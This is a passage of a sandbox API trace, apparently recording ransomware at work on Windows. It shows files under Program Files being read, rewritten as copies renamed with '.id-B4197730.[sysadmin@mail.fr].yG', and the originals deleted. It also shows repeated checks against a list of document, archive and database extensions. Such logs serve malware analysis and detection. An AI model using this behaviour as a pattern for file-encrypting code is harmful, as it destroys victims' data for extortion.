	[0181.366] ReadFile (in: hFile=0x36c, lpBuffer=0x3f4d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.366] WriteFile (in: hFile=0x370, lpBuffer=0x3f4d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesWritten=0x351fc94*=0x102, lpOverlapped=0x0) returned 1
	[0181.366] SetEndOfFile (hFile=0x370) returned 1
	[0181.367] CloseHandle (hObject=0x370) returned 1
	[0181.367] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.367] SetEndOfFile (hFile=0x36c) returned 1
	[0181.368] CloseHandle (hObject=0x36c) returned 1
	[0181.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0181.369] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 1
	[0181.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0181.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0181.369] lstrlenW (lpString=".doc") returned 4
	[0181.369] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0181.369] lstrlenW (lpString=".docx") returned 5
	[0181.370] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0181.370] lstrlenW (lpString=".pdf") returned 4
	[0181.370] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0181.370] lstrlenW (lpString=".xls") returned 4
	[0181.370] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0181.370] lstrlenW (lpString=".xlsx") returned 5
	[0181.370] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0181.370] lstrlenW (lpString=".ppt") returned 4
	[0181.370] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0181.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0181.370] lstrlenW (lpString=".zip") returned 4
	[0181.370] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0181.370] lstrlenW (lpString=".rar") returned 4
	[0181.370] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0181.370] lstrlenW (lpString=".bz2") returned 4
	[0181.370] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0181.370] lstrlenW (lpString=".7z") returned 3
	[0181.370] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0181.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0181.370] lstrlenW (lpString=".dbf") returned 4
	[0181.370] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0181.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0181.371] lstrlenW (lpString=".1cd") returned 4
	[0181.371] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0181.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0181.371] lstrlenW (lpString=".jpg") returned 4
	[0181.371] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0181.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0181.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0181.371] lstrlenW (lpString=".doc") returned 4
	[0181.371] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0181.371] lstrlenW (lpString=".docx") returned 5
	[0181.371] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0181.371] lstrlenW (lpString=".pdf") returned 4
	[0181.371] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0181.371] lstrlenW (lpString=".xls") returned 4
	[0181.371] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0181.371] lstrlenW (lpString=".xlsx") returned 5
	[0181.371] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0181.371] lstrlenW (lpString=".ppt") returned 4
	[0181.371] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0181.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0181.372] lstrlenW (lpString=".zip") returned 4
	[0181.372] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0181.372] lstrlenW (lpString=".rar") returned 4
	[0181.372] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0181.372] lstrlenW (lpString=".bz2") returned 4
	[0181.372] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0181.372] lstrlenW (lpString=".7z") returned 3
	[0181.372] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0181.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0181.372] lstrlenW (lpString=".dbf") returned 4
	[0181.372] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0181.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0181.372] lstrlenW (lpString=".1cd") returned 4
	[0181.372] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0181.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80
	[0181.372] lstrlenW (lpString=".jpg") returned 4
	[0181.374] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0181.374] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0181.374] lstrlenW (lpString="vstoee.dll") returned 10
	[0181.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0181.377] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=168064) returned 1
	[0181.377] CloseHandle (hObject=0x36c) returned 1
	[0181.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 0x20
	[0181.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0181.378] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0181.378] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.378] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.378] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0181.391] GetLastError () returned 0x0
	[0181.391] ReadFile (in: hFile=0x36c, lpBuffer=0x3f4d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesRead=0x351fecc*=0x29080, lpOverlapped=0x0) returned 1
	[0181.766] WriteFile (in: hFile=0x364, lpBuffer=0x3f4d020*, nNumberOfBytesToWrite=0x29090, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesWritten=0x351fc94*=0x29090, lpOverlapped=0x0) returned 1
	[0181.784] ReadFile (in: hFile=0x36c, lpBuffer=0x3f4d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.784] WriteFile (in: hFile=0x364, lpBuffer=0x3f4d020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4d020*, lpNumberOfBytesWritten=0x351fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0181.784] SetEndOfFile (hFile=0x364) returned 1
	[0181.784] CloseHandle (hObject=0x364) returned 1
	[0181.784] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.784] SetEndOfFile (hFile=0x36c) returned 1
	[0181.786] CloseHandle (hObject=0x36c) returned 1
	[0181.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0181.787] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 1
	[0181.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0181.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0181.787] lstrlenW (lpString=".doc") returned 4
	[0181.787] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0181.787] lstrlenW (lpString=".docx") returned 5
	[0181.787] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0181.787] lstrlenW (lpString=".pdf") returned 4
	[0181.787] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0181.787] lstrlenW (lpString=".xls") returned 4
	[0181.787] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0181.787] lstrlenW (lpString=".xlsx") returned 5
	[0181.788] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0181.788] lstrlenW (lpString=".ppt") returned 4
	[0181.788] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0181.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0181.788] lstrlenW (lpString=".zip") returned 4
	[0181.788] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0181.788] lstrlenW (lpString=".rar") returned 4
	[0181.788] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0181.788] lstrlenW (lpString=".bz2") returned 4
	[0181.788] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0181.788] lstrlenW (lpString=".7z") returned 3
	[0181.788] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0181.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0181.788] lstrlenW (lpString=".dbf") returned 4
	[0181.788] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0181.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0181.788] lstrlenW (lpString=".1cd") returned 4
	[0181.788] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0181.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0181.788] lstrlenW (lpString=".jpg") returned 4
	[0181.788] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0181.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0181.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0181.788] lstrlenW (lpString=".doc") returned 4
	[0181.788] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0181.788] lstrlenW (lpString=".docx") returned 5
	[0181.788] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0181.788] lstrlenW (lpString=".pdf") returned 4
	[0181.789] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0181.789] lstrlenW (lpString=".xls") returned 4
	[0181.789] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0181.789] lstrlenW (lpString=".xlsx") returned 5
	[0181.789] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0181.789] lstrlenW (lpString=".ppt") returned 4
	[0181.789] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0181.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0181.789] lstrlenW (lpString=".zip") returned 4
	[0181.789] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0181.789] lstrlenW (lpString=".rar") returned 4
	[0181.789] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0181.789] lstrlenW (lpString=".bz2") returned 4
	[0181.789] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0181.789] lstrlenW (lpString=".7z") returned 3
	[0181.789] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0181.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0181.789] lstrlenW (lpString=".dbf") returned 4
	[0181.789] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0181.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0181.789] lstrlenW (lpString=".1cd") returned 4
	[0181.789] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0181.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62
	[0181.789] lstrlenW (lpString=".jpg") returned 4
	[0181.789] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0181.790] lstrcmpiW (lpString1=".tlb", lpString2=".yG") returned -1
	[0181.790] lstrlenW (lpString="msado25.tlb") returned 11
	[0181.791] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0181.791] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=69632) returned 1
	[0181.791] CloseHandle (hObject=0x36c) returned 1
	[0181.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb")) returned 0x20
	[0181.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0181.792] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0181.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52
	[0181.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52
	[0181.792] lstrlenW (lpString=".doc") returned 4
	[0181.792] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0181.792] lstrlenW (lpString=".docx") returned 5
	[0181.792] lstrcmpiW (lpString1=".docx", lpString2="5.tlb") returned -1
	[0181.792] lstrlenW (lpString=".pdf") returned 4
	[0181.792] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0181.792] lstrlenW (lpString=".xls") returned 4
	[0181.792] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0181.792] lstrlenW (lpString=".xlsx") returned 5
	[0181.792] lstrcmpiW (lpString1=".xlsx", lpString2="5.tlb") returned -1
	[0181.792] lstrlenW (lpString=".ppt") returned 4
	[0181.792] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0181.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52
	[0181.792] lstrlenW (lpString=".zip") returned 4
	[0181.792] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0181.792] lstrlenW (lpString=".rar") returned 4
	[0181.792] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0181.792] lstrlenW (lpString=".bz2") returned 4
	[0181.792] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0181.792] lstrlenW (lpString=".7z") returned 3
	[0181.792] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0181.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52
	[0181.793] lstrlenW (lpString=".dbf") returned 4
	[0181.793] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0181.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52
	[0181.793] lstrlenW (lpString=".1cd") returned 4
	[0181.793] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0181.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52
	[0181.793] lstrlenW (lpString=".jpg") returned 4
	[0181.793] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0181.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52
	[0181.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52
	[0181.793] lstrlenW (lpString=".doc") returned 4
	[0181.793] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0181.793] lstrlenW (lpString=".docx") returned 5
	[0181.793] lstrcmpiW (lpString1=".docx", lpString2="5.tlb") returned -1
	[0181.793] lstrlenW (lpString=".pdf") returned 4
	[0181.793] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0181.793] lstrlenW (lpString=".xls") returned 4
	[0181.793] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0181.793] lstrlenW (lpString=".xlsx") returned 5
	[0181.793] lstrcmpiW (lpString1=".xlsx", lpString2="5.tlb") returned -1
	[0181.793] lstrlenW (lpString=".ppt") returned 4
	[0181.793] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0181.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52
	[0181.793] lstrlenW (lpString=".zip") returned 4
	[0181.793] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0181.793] lstrlenW (lpString=".rar") returned 4
	[0181.793] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0181.794] lstrlenW (lpString=".bz2") returned 4
	[0181.794] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0181.794] lstrlenW (lpString=".7z") returned 3
	[0181.794] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0181.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52
	[0181.794] lstrlenW (lpString=".dbf") returned 4
	[0181.794] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0181.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52
	[0181.794] lstrlenW (lpString=".1cd") returned 4
	[0181.794] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0181.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52
	[0181.794] lstrlenW (lpString=".jpg") returned 4
	[0181.794] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0181.794] lstrcmpiW (lpString1=".tlb", lpString2=".yG") returned -1
	[0181.794] lstrlenW (lpString="msado26.tlb") returned 11
	[0181.794] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0181.795] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=70656) returned 1
	[0181.795] CloseHandle (hObject=0x36c) returned 1
	[0181.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb")) returned 0x20
	[0181.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0181.795] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0181.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0181.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0181.795] lstrlenW (lpString=".doc") returned 4
	[0181.795] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0181.795] lstrlenW (lpString=".docx") returned 5
	[0181.795] lstrcmpiW (lpString1=".docx", lpString2="6.tlb") returned -1
	[0181.795] lstrlenW (lpString=".pdf") returned 4
	[0181.796] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0181.796] lstrlenW (lpString=".xls") returned 4
	[0181.796] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0181.796] lstrlenW (lpString=".xlsx") returned 5
	[0181.796] lstrcmpiW (lpString1=".xlsx", lpString2="6.tlb") returned -1
	[0181.796] lstrlenW (lpString=".ppt") returned 4
	[0181.796] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0181.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0181.796] lstrlenW (lpString=".zip") returned 4
	[0181.796] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0181.796] lstrlenW (lpString=".rar") returned 4
	[0181.796] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0181.796] lstrlenW (lpString=".bz2") returned 4
	[0181.796] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0181.796] lstrlenW (lpString=".7z") returned 3
	[0181.796] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0181.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0181.796] lstrlenW (lpString=".dbf") returned 4
	[0181.796] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0181.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0181.796] lstrlenW (lpString=".1cd") returned 4
	[0181.796] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0181.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0181.796] lstrlenW (lpString=".jpg") returned 4
	[0181.796] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0181.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0181.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0181.797] lstrlenW (lpString=".doc") returned 4
	[0181.797] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0181.797] lstrlenW (lpString=".docx") returned 5
	[0181.797] lstrcmpiW (lpString1=".docx", lpString2="6.tlb") returned -1
	[0181.797] lstrlenW (lpString=".pdf") returned 4
	[0181.797] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0181.797] lstrlenW (lpString=".xls") returned 4
	[0181.797] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0181.797] lstrlenW (lpString=".xlsx") returned 5
	[0181.797] lstrcmpiW (lpString1=".xlsx", lpString2="6.tlb") returned -1
	[0181.797] lstrlenW (lpString=".ppt") returned 4
	[0181.797] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0181.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0181.797] lstrlenW (lpString=".zip") returned 4
	[0181.797] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0181.797] lstrlenW (lpString=".rar") returned 4
	[0181.797] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0181.797] lstrlenW (lpString=".bz2") returned 4
	[0181.797] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0181.797] lstrlenW (lpString=".7z") returned 3
	[0181.797] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0181.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0181.797] lstrlenW (lpString=".dbf") returned 4
	[0181.797] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0181.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0181.797] lstrlenW (lpString=".1cd") returned 4
	[0181.797] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0181.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0181.797] lstrlenW (lpString=".jpg") returned 4
	[0181.798] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0181.798] lstrcmpiW (lpString1=".tlb", lpString2=".yG") returned -1
	[0181.798] lstrlenW (lpString="msado27.tlb") returned 11
	[0181.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0181.798] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=71168) returned 1
	[0181.798] CloseHandle (hObject=0x36c) returned 1
	[0181.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb")) returned 0x20
